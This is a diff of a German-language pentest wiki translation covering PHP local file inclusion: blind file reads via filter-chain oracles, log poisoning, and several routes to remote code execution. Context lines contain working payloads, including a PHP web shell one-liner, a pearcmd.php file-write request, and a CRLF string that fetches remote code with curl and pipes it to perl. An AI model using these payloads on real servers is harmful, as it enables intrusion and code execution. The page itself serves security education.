[**In diesem Beitrag**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) wird eine Technik vorgeschlagen, um eine lokale Datei zu lesen, ohne dass die Ausgabe vom Server zurückgegeben wird. Diese Technik basiert auf einer **booleschen Exfiltration der Datei (zeichenweise) unter Verwendung von php-Filtern** als Oracle. Dies liegt daran, dass php-Filter verwendet werden können, um einen Text groß genug zu machen, damit php eine Ausnahme auslöst.
|
||||
[**In diesem Beitrag**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) wird eine Technik vorgeschlagen, um eine lokale Datei zu lesen, ohne dass die Ausgabe vom Server zurückgegeben wird. Diese Technik basiert auf einer **booleschen Exfiltration der Datei (Zeichen für Zeichen) unter Verwendung von php-Filtern** als Oracle. Dies liegt daran, dass php-Filter verwendet werden können, um einen Text groß genug zu machen, damit php eine Ausnahme auslöst.
|
||||
|
||||
Im ursprünglichen Beitrag finden Sie eine detaillierte Erklärung der Technik, aber hier ist eine kurze Zusammenfassung:
|
||||
|
||||
@ -277,13 +277,13 @@ Im ursprünglichen Beitrag finden Sie eine detaillierte Erklärung der Technik,
|
||||
- Dies wird verwendet, um einen **so großen Text zu generieren, wenn der Anfangsbuchstabe korrekt erraten wird**, dass php einen **Fehler** auslöst.
|
||||
- Der **dechunk**-Filter wird **alles entfernen, wenn das erste Zeichen kein Hexadezimalzeichen ist**, sodass wir wissen können, ob das erste Zeichen hexadezimal ist.
|
||||
- Dies, kombiniert mit dem vorherigen (und anderen Filtern, abhängig vom erratenen Buchstaben), ermöglicht es uns, einen Buchstaben am Anfang des Textes zu erraten, indem wir sehen, wann wir genügend Transformationen durchführen, um ihn nicht mehr als hexadezimales Zeichen zu betrachten. Denn wenn es hexadezimal ist, wird dechunk es nicht löschen und die anfängliche Bombe wird php einen Fehler auslösen.
|
||||
- Der Codec **convert.iconv.UNICODE.CP930** transformiert jeden Buchstaben in den folgenden (nach diesem Codec: a -> b). Dies ermöglicht es uns zu entdecken, ob der erste Buchstabe ein `a` ist, zum Beispiel, denn wenn wir 6 von diesem Codec anwenden a->b->c->d->e->f->g, ist der Buchstabe kein hexadezimales Zeichen mehr, daher wird dechunk es nicht löschen und der php-Fehler wird ausgelöst, weil er mit der anfänglichen Bombe multipliziert.
|
||||
- Durch die Verwendung anderer Transformationen wie **rot13** am Anfang ist es möglich, andere Zeichen wie n, o, p, q, r zu exfiltrieren (und andere Codecs können verwendet werden, um andere Buchstaben in den hexadezimalen Bereich zu verschieben).
|
||||
- Wenn das anfängliche Zeichen eine Zahl ist, muss es base64 codiert werden, und die ersten 2 Buchstaben müssen geleakt werden, um die Zahl zu exfiltrieren.
|
||||
- Das endgültige Problem besteht darin, **wie man mehr als den anfänglichen Buchstaben exfiltriert**. Durch die Verwendung von Ordnungsfilters wie **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** ist es möglich, die Reihenfolge der Zeichen zu ändern und andere Buchstaben des Textes an die erste Position zu bringen.
|
||||
- Und um **weitere Daten** zu erhalten, besteht die Idee darin, **2 Bytes Junk-Daten am Anfang zu generieren** mit **convert.iconv.UTF16.UTF16**, **UCS-4LE** anzuwenden, um es mit den nächsten 2 Bytes **zu pivotieren**, und **die Daten bis zu den Junk-Daten zu löschen** (dies entfernt die ersten 2 Bytes des ursprünglichen Textes). Fahren Sie fort, dies zu tun, bis Sie das gewünschte Bit zum Leaken erreichen.
|
||||
- Der Codec **convert.iconv.UNICODE.CP930** transformiert jeden Buchstaben in den folgenden (nach diesem Codec: a -> b). Dies ermöglicht es uns zu entdecken, ob der erste Buchstabe ein `a` ist, zum Beispiel, denn wenn wir 6 von diesem Codec anwenden a->b->c->d->e->f->g, ist der Buchstabe kein hexadezimales Zeichen mehr, daher wird dechunk es nicht löschen und der php-Fehler wird ausgelöst, weil er sich mit der anfänglichen Bombe multipliziert.
|
||||
- Durch die Verwendung anderer Transformationen wie **rot13** am Anfang ist es möglich, andere Zeichen wie n, o, p, q, r zu exfiltrieren (und andere Codecs können verwendet werden, um andere Buchstaben in den Hex-Bereich zu verschieben).
|
||||
- Wenn das anfängliche Zeichen eine Zahl ist, muss es base64-kodiert werden, und die ersten 2 Buchstaben müssen geleakt werden, um die Zahl zu exfiltrieren.
|
||||
- Das endgültige Problem besteht darin, **wie man mehr als den anfänglichen Buchstaben leakt**. Durch die Verwendung von Ordnungsfilter wie **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** ist es möglich, die Reihenfolge der Zeichen zu ändern und an erster Stelle andere Buchstaben des Textes zu erhalten.
|
||||
- Und um **weitere Daten** zu erhalten, besteht die Idee darin, **2 Bytes Junk-Daten am Anfang zu generieren** mit **convert.iconv.UTF16.UTF16**, **UCS-4LE** anzuwenden, um es **mit den nächsten 2 Bytes zu pivotieren**, und **die Daten bis zu den Junk-Daten zu löschen** (dies entfernt die ersten 2 Bytes des ursprünglichen Textes). Fahren Sie fort, dies zu tun, bis Sie das gewünschte Bit zum Leaken erreichen.
|
||||
|
||||
Im Beitrag wurde auch ein Tool zur automatischen Durchführung dieser Technik geleakt: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
Im Beitrag wurde auch ein Tool zum automatischen Ausführen dieser Technik geleakt: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
|
||||
### php://fd
|
||||
|
||||
@ -354,7 +354,7 @@ php --define phar.readonly=0 create_path.php
|
||||
```
|
||||
Bei der Ausführung wird eine Datei namens `test.phar` erstellt, die potenziell zur Ausnutzung von Local File Inclusion (LFI) Schwachstellen verwendet werden könnte.
|
||||
|
||||
In Fällen, in denen die LFI nur das Lesen von Dateien ohne Ausführung des PHP-Codes innerhalb durch Funktionen wie `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` oder `filesize()` durchführt, könnte versucht werden, eine Deserialisierungsanfälligkeit auszunutzen. Diese Schwachstelle ist mit dem Lesen von Dateien unter Verwendung des `phar`-Protokolls verbunden.
|
||||
In Fällen, in denen die LFI nur das Lesen von Dateien ohne Ausführung des PHP-Codes innerhalb dieser durch Funktionen wie `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` oder `filesize()` durchführt, könnte versucht werden, eine Deserialisierungsanfälligkeit auszunutzen. Diese Schwachstelle ist mit dem Lesen von Dateien unter Verwendung des `phar`-Protokolls verbunden.
|
||||
|
||||
Für ein detailliertes Verständnis der Ausnutzung von Deserialisierungsanfälligkeiten im Kontext von `.phar`-Dateien, siehe das unten verlinkte Dokument:
|
||||
|
||||
@ -366,9 +366,9 @@ phar-deserialization.md
|
||||
|
||||
### CVE-2024-2961
|
||||
|
||||
Es war möglich, **jede beliebige Datei, die von PHP gelesen wird und php-Filter unterstützt**, zu missbrauchen, um eine RCE zu erhalten. Die detaillierte Beschreibung kann [**in diesem Beitrag gefunden werden**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
Es war möglich, **jede beliebige Datei, die von PHP gelesen wird und php-Filter unterstützt, zu missbrauchen**, um eine RCE zu erhalten. Die detaillierte Beschreibung kann [**in diesem Beitrag gefunden werden**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
Sehr schnelle Zusammenfassung: ein **3-Byte-Überlauf** im PHP-Heap wurde missbraucht, um **die Kette freier Blöcke** einer bestimmten Größe zu **ändern**, um **alles an jede Adresse zu schreiben**, sodass ein Hook hinzugefügt wurde, um **`system`** aufzurufen.\
|
||||
Es war möglich, Blöcke spezifischer Größen zuzuweisen, indem mehr PHP-Filter missbraucht wurden.
|
||||
Es war möglich, Blöcke spezifischer Größen zuzuweisen, indem mehr php-Filter missbraucht wurden.
|
||||
|
||||
### Weitere Protokolle
|
||||
|
||||
@ -404,15 +404,15 @@ Es ist wichtig, diese **Payloads URL-zu kodieren**.
|
||||
## PHP Blind Path Traversal
|
||||
|
||||
> [!WARNING]
|
||||
> Diese Technik ist relevant in Fällen, in denen Sie den **Dateipfad** einer **PHP-Funktion**, die eine **Datei** **zugreift**, **steuern**, aber den Inhalt der Datei nicht sehen (wie ein einfacher Aufruf von **`file()`**) können, aber der Inhalt nicht angezeigt wird.
|
||||
> Diese Technik ist relevant in Fällen, in denen Sie den **Dateipfad** einer **PHP-Funktion**, die **auf eine Datei zugreift**, **steuern**, aber den Inhalt der Datei nicht sehen (wie ein einfacher Aufruf von **`file()`**) können, aber der Inhalt nicht angezeigt wird.
|
||||
|
||||
In [**diesem unglaublichen Beitrag**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) wird erklärt, wie ein blinder Pfad Traversal über PHP-Filter missbraucht werden kann, um den **Inhalt einer Datei über ein Fehlerorakel zu exfiltrieren**.
|
||||
In [**diesem unglaublichen Beitrag**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) wird erklärt, wie ein blinder Pfad Traversal über den PHP-Filter missbraucht werden kann, um den **Inhalt einer Datei über ein Fehlerorakel zu exfiltrieren**.
|
||||
|
||||
Zusammenfassend verwendet die Technik die **"UCS-4LE"-Kodierung**, um den Inhalt einer Datei so **groß** zu machen, dass die **PHP-Funktion**, die die Datei öffnet, einen **Fehler** auslöst.
|
||||
Zusammenfassend verwendet die Technik die **"UCS-4LE" Kodierung**, um den Inhalt einer Datei so **groß** zu machen, dass die **PHP-Funktion**, die die Datei öffnet, einen **Fehler** auslöst.
|
||||
|
||||
Dann wird der Filter **`dechunk`** verwendet, um das erste Zeichen zu leaken, zusammen mit anderen wie **base64** oder **rot13**, und schließlich werden die Filter **convert.iconv.UCS-4.UCS-4LE** und **convert.iconv.UTF16.UTF-16BE** verwendet, um **andere Zeichen am Anfang zu platzieren und sie zu leaken**.
|
||||
|
||||
**Funktionen, die anfällig sein könnten**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (nur Ziel lesen nur mit diesem)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
**Funktionen, die anfällig sein könnten**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (nur Ziel nur lesend mit diesem)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
|
||||
Für technische Details siehe den genannten Beitrag!
|
||||
|
||||
@ -427,11 +427,11 @@ Wie zuvor erklärt, [**folgen Sie diesem Link**](./#remote-file-inclusion).
|
||||
Wenn der Apache- oder Nginx-Server **anfällig für LFI** ist, könnten Sie versuchen, auf **`/var/log/apache2/access.log` oder `/var/log/nginx/access.log`** zuzugreifen, indem Sie im **User-Agent** oder in einem **GET-Parameter** eine PHP-Shell wie **`<?php system($_GET['c']); ?>`** setzen und diese Datei einfügen.
|
||||
|
||||
> [!WARNING]
|
||||
> Beachten Sie, dass **wenn Sie doppelte Anführungszeichen** für die Shell anstelle von **einfachen Anführungszeichen** verwenden, die doppelten Anführungszeichen für den String "_**quote;**_" geändert werden, **PHP wird dort einen Fehler auslösen** und **nichts anderes wird ausgeführt**.
|
||||
> Beachten Sie, dass **wenn Sie doppelte Anführungszeichen** für die Shell anstelle von **einfachen Anführungszeichen** verwenden, die doppelten Anführungszeichen für die Zeichenfolge "_**quote;**_" geändert werden, **PHP einen Fehler auslösen wird** und **nichts anderes ausgeführt wird**.
|
||||
>
|
||||
> Stellen Sie außerdem sicher, dass Sie die **Payload korrekt schreiben**, da PHP jedes Mal einen Fehler ausgibt, wenn es versucht, die Protokolldatei zu laden, und Sie keine zweite Gelegenheit haben werden.
|
||||
|
||||
Dies könnte auch in anderen Protokollen durchgeführt werden, aber **seien Sie vorsichtig**, der Code in den Protokollen könnte URL-kodiert sein und dies könnte die Shell zerstören. Der Header **authorisation "basic"** enthält "user:password" in Base64 und wird in den Protokollen decodiert. Die PHPShell könnte in diesen Header eingefügt werden.\
|
||||
Dies könnte auch in anderen Protokollen durchgeführt werden, aber **seien Sie vorsichtig**, der Code in den Protokollen könnte URL-kodiert sein und dies könnte die Shell zerstören. Der Header **authorisation "basic"** enthält "user:password" in Base64 und wird in den Protokollen dekodiert. Die PHPShell könnte in diesen Header eingefügt werden.\
|
||||
Andere mögliche Protokollpfade:
|
||||
```python
|
||||
/var/log/apache2/access.log
|
||||
@ -476,7 +476,7 @@ Laden Sie eine ZIP-Datei hoch, die eine komprimierte PHP-Shell enthält, und gre
|
||||
```python
|
||||
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
|
||||
```
|
||||
### Über PHP-Sitzungen
|
||||
### Via PHP-Sitzungen
|
||||
|
||||
Überprüfen Sie, ob die Website PHP-Sitzungen (PHPSESSID) verwendet.
|
||||
```
|
||||
@ -515,7 +515,7 @@ http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=da
|
||||
|
||||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
### Via php filters (no file needed)
|
||||
### Via php-Filter (keine Datei erforderlich)
|
||||
|
||||
Dieser [**Bericht**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) erklärt, dass Sie **php-Filter verwenden können, um beliebige Inhalte** als Ausgabe zu generieren. Das bedeutet im Grunde, dass Sie **beliebigen php-Code** für die Include **generieren können, ohne ihn** in eine Datei schreiben zu müssen.
|
||||
|
||||
@ -523,15 +523,15 @@ Dieser [**Bericht**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e27
|
||||
lfi2rce-via-php-filters.md
|
||||
{{#endref}}
|
||||
|
||||
### Via segmentation fault
|
||||
### Via Segmentierungsfehler
|
||||
|
||||
**Laden Sie** eine Datei hoch, die als **temporär** in `/tmp` gespeichert wird, und lösen Sie dann in der **gleichen Anfrage** einen **Segmentierungsfehler** aus. Die **temporäre Datei wird nicht gelöscht** und Sie können nach ihr suchen.
|
||||
**Laden Sie** eine Datei hoch, die als **vorübergehend** in `/tmp` gespeichert wird, und lösen Sie dann in der **gleichen Anfrage** einen **Segmentierungsfehler** aus. Die **vorübergehende Datei wird nicht gelöscht** und Sie können danach danach suchen.
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-segmentation-fault.md
|
||||
{{#endref}}
|
||||
|
||||
### Via Nginx temp file storage
|
||||
### Via Nginx-Temporärdateispeicherung
|
||||
|
||||
Wenn Sie eine **Local File Inclusion** gefunden haben und **Nginx** vor PHP läuft, könnten Sie mit der folgenden Technik RCE erhalten:
|
||||
|
||||
@ -541,13 +541,13 @@ lfi2rce-via-nginx-temp-files.md
|
||||
|
||||
### Via PHP_SESSION_UPLOAD_PROGRESS
|
||||
|
||||
Wenn Sie eine **Local File Inclusion** gefunden haben, auch wenn Sie **keine Sitzung** haben und `session.auto_start` auf `Off` steht. Wenn Sie den **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST**-Daten bereitstellen, wird PHP **die Sitzung für Sie aktivieren**. Sie könnten dies ausnutzen, um RCE zu erhalten:
|
||||
Wenn Sie eine **Local File Inclusion** gefunden haben, auch wenn Sie **keine Sitzung** haben und `session.auto_start` auf `Off` steht. Wenn Sie den **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST**-Daten bereitstellen, wird PHP die **Sitzung für Sie aktivieren**. Sie könnten dies ausnutzen, um RCE zu erhalten:
|
||||
|
||||
{{#ref}}
|
||||
via-php_session_upload_progress.md
|
||||
{{#endref}}
|
||||
|
||||
### Via temp file uploads in Windows
|
||||
### Via temporäre Datei-Uploads in Windows
|
||||
|
||||
Wenn Sie eine **Local File Inclusion** gefunden haben und der Server unter **Windows** läuft, könnten Sie RCE erhalten:
|
||||
|
||||
@ -555,7 +555,7 @@ Wenn Sie eine **Local File Inclusion** gefunden haben und der Server unter **Win
|
||||
lfi2rce-via-temp-file-uploads.md
|
||||
{{#endref}}
|
||||
|
||||
### Via `pearcmd.php` + URL args
|
||||
### Via `pearcmd.php` + URL-Argumente
|
||||
|
||||
Wie [**in diesem Beitrag erklärt**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), existiert das Skript `/usr/local/lib/phppearcmd.php` standardmäßig in PHP-Docker-Images. Darüber hinaus ist es möglich, Argumente über die URL an das Skript zu übergeben, da angegeben ist, dass, wenn ein URL-Parameter kein `=` hat, er als Argument verwendet werden sollte.
|
||||
|
||||
@ -563,7 +563,7 @@ Die folgende Anfrage erstellt eine Datei in `/tmp/hello.php` mit dem Inhalt `<?=
|
||||
```bash
|
||||
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
|
||||
```
|
||||
Der folgende Missbrauch einer CRLF-Schwachstelle ermöglicht RCE (von [**hier**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
|
||||
Der folgende Missbrauch einer CRLF-Sicherheitsanfälligkeit ermöglicht RCE (von [**hier**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
|
||||
```
|
||||
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
|
||||
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
|
||||
|
||||
@ -1,4 +1,4 @@
|
||||
# LFI2RCE über compress.zlib + PHP_STREAM_PREFER_STDIO + Pfadleck
|
||||
# LFI2RCE über compress.zlib + PHP_STREAM_PREFER_STDIO + Pfadleckage
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -28,11 +28,11 @@ if (flags & PHP_STREAM_PREFER_STDIO) {
|
||||
|
||||
Der Angreifer wird den **Opfer-Server dazu bringen, eine Verbindung herzustellen, um eine Datei vom Server des Angreifers zu lesen** unter Verwendung des **`compress.zlib`** Protokolls.
|
||||
|
||||
**Während** diese **Verbindung** besteht, wird der Angreifer den **Pfad** zur temporären Datei, die erstellt wurde, **exfiltrieren** (sie wird vom Server geleakt).
|
||||
**Während** diese **Verbindung** besteht, wird der Angreifer den **Pfad** zur erstellten temporären Datei **exfiltrieren** (er wird vom Server geleakt).
|
||||
|
||||
**Während** die **Verbindung** noch offen ist, wird der Angreifer **eine LFI ausnutzen, um die temporäre Datei** zu laden, die er kontrolliert.
|
||||
|
||||
Es gibt jedoch eine Überprüfung im Webserver, die **das Laden von Dateien verhindert, die `<?` enthalten**. Daher wird der Angreifer eine **Race Condition** ausnutzen. In der Verbindung, die noch offen ist, wird der **Angreifer** die **PHP-Nutzlast NACHDEM** der **Webserver** **überprüft** hat, ob die Datei die verbotenen Zeichen enthält, aber **BEVOR** sie ihren Inhalt lädt.
|
||||
Es gibt jedoch eine Überprüfung im Webserver, die **das Laden von Dateien verhindert, die `<?` enthalten**. Daher wird der Angreifer eine **Race Condition** ausnutzen. In der noch offenen Verbindung wird der **Angreifer** die **PHP-Nutzlast NACHDEM** der **Webserver** **überprüft** hat, ob die Datei die verbotenen Zeichen enthält, aber **BEVOR** sie ihren Inhalt lädt.
|
||||
|
||||
Für weitere Informationen siehe die Beschreibung der Race Condition und des CTF in [https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer)
|
||||
|
||||
|
||||
@ -22,7 +22,7 @@ Diese Technik ist **sehr ähnlich der letzten, erfordert jedoch kein Finden eine
|
||||
|
||||
### Ewige Warte-Technik
|
||||
|
||||
In dieser Technik **müssen wir nur einen relativen Pfad kontrollieren**. Wenn es uns gelingt, Dateien hochzuladen und die **LFI niemals enden zu lassen**, haben wir "genug Zeit", um **hochgeladene Dateien zu brute-forcen** und **eine** der hochgeladenen zu **finden**.
|
||||
In dieser Technik **müssen wir nur einen relativen Pfad kontrollieren**. Wenn es uns gelingt, Dateien hochzuladen und das **LFI niemals enden zu lassen**, haben wir "genug Zeit", um **hochgeladene Dateien zu brute-forcen** und **eine** der hochgeladenen zu **finden**.
|
||||
|
||||
**Vorteile dieser Technik**:
|
||||
|
||||
@ -33,17 +33,17 @@ In dieser Technik **müssen wir nur einen relativen Pfad kontrollieren**. Wenn e
|
||||
|
||||
Die **Hauptprobleme** dieser Technik sind:
|
||||
|
||||
- Es müssen spezifische Datei(en) vorhanden sein (es könnte mehr geben)
|
||||
- Es müssen spezifische Datei(en) vorhanden sein (es könnten mehr sein)
|
||||
- Die **wahnsinnige** Anzahl potenzieller Dateinamen: **56800235584**
|
||||
- Wenn der Server **keine Ziffern verwendet**, beträgt die gesamte potenzielle Anzahl: **19770609664**
|
||||
- Standardmäßig können **nur 20 Dateien** in einer **einzelnen Anfrage** hochgeladen werden.
|
||||
- Die **maximale Anzahl paralleler Worker** des verwendeten Servers.
|
||||
- Die **maximale Anzahl paralleler Arbeiter** des verwendeten Servers.
|
||||
- Diese Grenze zusammen mit den vorherigen kann diesen Angriff zu lange dauern lassen
|
||||
- **Timeout für eine PHP-Anfrage**. Idealerweise sollte dies ewig dauern oder den PHP-Prozess beenden, ohne die temporär hochgeladenen Dateien zu löschen, andernfalls wird dies auch ein Problem sein
|
||||
|
||||
Wie können Sie also **eine PHP-Include-Anweisung dazu bringen, niemals zu enden**? Indem Sie einfach die Datei **`/sys/kernel/security/apparmor/revision`** einfügen (**leider nicht in Docker-Containern verfügbar...**).
|
||||
|
||||
Versuchen Sie es einfach, indem Sie anrufen:
|
||||
Versuchen Sie es einfach, indem Sie aufrufen:
|
||||
```bash
|
||||
php -a # open php cli
|
||||
include("/sys/kernel/security/apparmor/revision");
|
||||
@ -72,11 +72,11 @@ Wenn der Apache-Server verbessert wird und wir **4000 Verbindungen** missbrauche
|
||||
Wenn anstelle des regulären PHP-Moduls für Apache, um PHP-Skripte auszuführen, die **Webseite** **PHP-FMP verwendet** (dies verbessert die Effizienz der Webseite, daher ist es üblich, es zu finden), gibt es noch etwas, das getan werden kann, um die Technik zu verbessern.
|
||||
|
||||
PHP-FMP ermöglicht es, den **Parameter** **`request_terminate_timeout`** in **`/etc/php/<php-version>/fpm/pool.d/www.conf`** zu **konfigurieren**.\
|
||||
Dieser Parameter gibt die maximale Anzahl von Sekunden an, **wann** **die Anfrage an PHP beendet werden muss** (standardmäßig unendlich, aber **30s, wenn der Parameter nicht auskommentiert ist**). Wenn eine Anfrage von PHP verarbeitet wird, wird die angegebene Anzahl von Sekunden **abgebrochen**. Das bedeutet, dass, wenn die Anfrage temporäre Dateien hochlädt, weil die **PHP-Verarbeitung gestoppt wurde**, diese **Dateien nicht gelöscht werden**. Daher, wenn Sie eine Anfrage so lange aufrechterhalten können, können Sie **tausende von temporären Dateien** generieren, die nicht gelöscht werden, was den Prozess der Auffindung beschleunigt und die Wahrscheinlichkeit eines DoS für die Plattform verringert, indem alle Verbindungen verbraucht werden.
|
||||
Dieser Parameter gibt die maximale Anzahl von Sekunden an, **wann** **die Anfrage an PHP beendet werden muss** (standardmäßig unendlich, aber **30s, wenn der Parameter nicht auskommentiert ist**). Wenn eine Anfrage von PHP verarbeitet wird, wird die angegebene Anzahl von Sekunden **getötet**. Das bedeutet, dass, wenn die Anfrage temporäre Dateien hochlädt, weil die **PHP-Verarbeitung gestoppt wurde**, diese **Dateien nicht gelöscht werden**. Daher, wenn Sie eine Anfrage so lange aufrechterhalten können, können Sie **tausende von temporären Dateien** generieren, die nicht gelöscht werden, was den Prozess der Auffindung beschleunigt und die Wahrscheinlichkeit eines DoS für die Plattform verringert, indem alle Verbindungen verbraucht werden.
|
||||
|
||||
Um also **DoS zu vermeiden**, nehmen wir an, dass ein **Angreifer nur 100 Verbindungen** gleichzeitig verwenden wird und die maximale Verarbeitungszeit von PHP durch **php-fmp** (`request_terminate_timeout`**)** **30s** beträgt. Daher beträgt die Anzahl der **temporären Dateien**, die **pro Sekunde** generiert werden können, `100*20/30 = 66.67`.
|
||||
|
||||
Um **10000 Dateien** zu generieren, würde ein Angreifer benötigen: **`10000/66.67 = 150s`** (um **100000 Dateien** zu generieren, würde die Zeit **25min** betragen).
|
||||
Um dann **10000 Dateien** zu generieren, müsste ein Angreifer: **`10000/66.67 = 150s`** (um **100000 Dateien** zu generieren, würde die Zeit **25min** betragen).
|
||||
|
||||
Dann könnte der Angreifer diese **100 Verbindungen** verwenden, um eine **Brute-Force-Suche** durchzuführen. \*\*\*\* Bei einer Geschwindigkeit von 300 req/s beträgt die benötigte Zeit für die Ausnutzung Folgendes:
|
||||
|
||||
@ -88,7 +88,7 @@ Ja, es ist möglich, 100000 temporäre Dateien in einer EC2-Medium-Instanz zu ge
|
||||
<figure><img src="../../images/image (240).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!WARNING]
|
||||
> Beachten Sie, dass es **ausreichend wäre, die anfällige LFI-Seite einzuschließen**, um den Timeout auszulösen, sodass sie in eine ewige Einschluss-Schleife eintritt.
|
||||
> Beachten Sie, dass es **ausreichend wäre, die anfällige LFI-Seite einzuschließen**, um den Timeout auszulösen, sodass sie in eine ewige Einschleifung eintritt.
|
||||
|
||||
## Nginx
|
||||
|
||||
|
||||
@ -17,12 +17,12 @@ Die Schleife zur Generierung beliebiger Inhalte ist:
|
||||
|
||||
1. Fügen Sie `\x1b$)C` wie oben beschrieben an unsere Zeichenfolge an
|
||||
2. Wenden Sie eine Kette von iconv-Konvertierungen an, die unser ursprüngliches Base64 intakt lässt und den Teil, den wir gerade hinzugefügt haben, in eine Zeichenfolge konvertiert, bei der das einzige gültige Base64-Zeichen der nächste Teil unseres base64-kodierten PHP-Codes ist
|
||||
3. Base64-dekodieren und base64-enkodieren Sie die Zeichenfolge, was alle Müllzeichen dazwischen entfernt
|
||||
3. Base64-dekodieren und base64-enkodieren der Zeichenfolge, was alle Müllzeichen dazwischen entfernt
|
||||
4. Gehen Sie zurück zu 1, wenn das Base64, das wir konstruieren möchten, noch nicht fertig ist
|
||||
5. Base64-dekodieren, um unseren PHP-Code zu erhalten
|
||||
|
||||
> [!WARNING]
|
||||
> **Includes** tun normalerweise Dinge wie **".php" am Ende** der Datei anzuhängen, was die Ausnutzung erschweren könnte, da Sie eine .php-Datei mit einem Inhalt finden müssten, der die Ausnutzung nicht killt... oder Sie **könnten einfach `php://temp` als Ressource verwenden**, da es **alles im Namen angehängt haben kann** (z. B. +".php") und es wird immer noch ermöglichen, dass die Ausnutzung funktioniert!
|
||||
> **Includes** tun normalerweise Dinge wie **".php" am Ende** der Datei anzuhängen, was die Ausnutzung erschweren könnte, da Sie eine .php-Datei mit einem Inhalt finden müssten, der den Exploit nicht killt... oder Sie **könnten einfach `php://temp` als Ressource verwenden**, da es **alles im Namen angehängt haben kann** (z. B. +".php") und es wird immer noch ermöglichen, dass der Exploit funktioniert!
|
||||
|
||||
## Wie man auch Suffixe zu den resultierenden Daten hinzufügt
|
||||
|
||||
|
||||
@ -22,7 +22,7 @@ Wenn du eine LFI-Schwachstelle im Webserver gefunden hast, kannst du versuchen,
|
||||
|
||||
In **Windows** werden die Dateien normalerweise in **C:\Windows\temp\php** gespeichert.
|
||||
|
||||
In **Linux** ist der Name der Datei normalerweise **zufällig** und befindet sich in **/tmp**. Da der Name zufällig ist, ist es notwendig, **den Namen der temporären Datei irgendwo zu extrahieren** und darauf zuzugreifen, bevor sie gelöscht wird. Dies kann erreicht werden, indem der Wert der **Variable $\_FILES** im Inhalt der Funktion "**phpconfig()**" gelesen wird.
|
||||
In **Linux** ist der Name der Datei **zufällig** und befindet sich in **/tmp**. Da der Name zufällig ist, muss der **Name der temporären Datei irgendwo extrahiert** und darauf zugegriffen werden, bevor sie gelöscht wird. Dies kann erreicht werden, indem der Wert der **Variable $\_FILES** im Inhalt der Funktion "**phpconfig()**" gelesen wird.
|
||||
|
||||
**phpinfo()**
|
||||
|
||||
|
||||
@ -12,7 +12,7 @@ include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAA
|
||||
```
|
||||
Sie sollten wissen, dass wenn Sie eine **POST**-Anfrage **mit** einer **Datei** **senden**, PHP eine **temporäre Datei in `/tmp/php<etwas>`** mit dem Inhalt dieser Datei erstellt. Diese Datei wird **automatisch gelöscht**, sobald die Anfrage verarbeitet wurde.
|
||||
|
||||
Wenn Sie eine **LFI** finden und es Ihnen gelingt, einen Segmentierungsfehler in PHP zu **auszulösen**, wird die **temporäre Datei niemals gelöscht**. Daher können Sie mit der **LFI**-Schwachstelle danach **suchen**, bis Sie sie finden und beliebigen Code ausführen.
|
||||
Wenn Sie eine **LFI** finden und es Ihnen gelingt, einen Segmentierungsfehler in PHP **auszulösen**, wird die **temporäre Datei niemals gelöscht**. Daher können Sie mit der **LFI**-Schwachstelle danach **suchen**, bis Sie sie finden und beliebigen Code ausführen.
|
||||
|
||||
Sie können das Docker-Image [https://hub.docker.com/r/easyengine/php7.0](https://hub.docker.com/r/easyengine/php7.0) zum Testen verwenden.
|
||||
```python
|
||||
|
||||
@ -7,9 +7,9 @@
|
||||
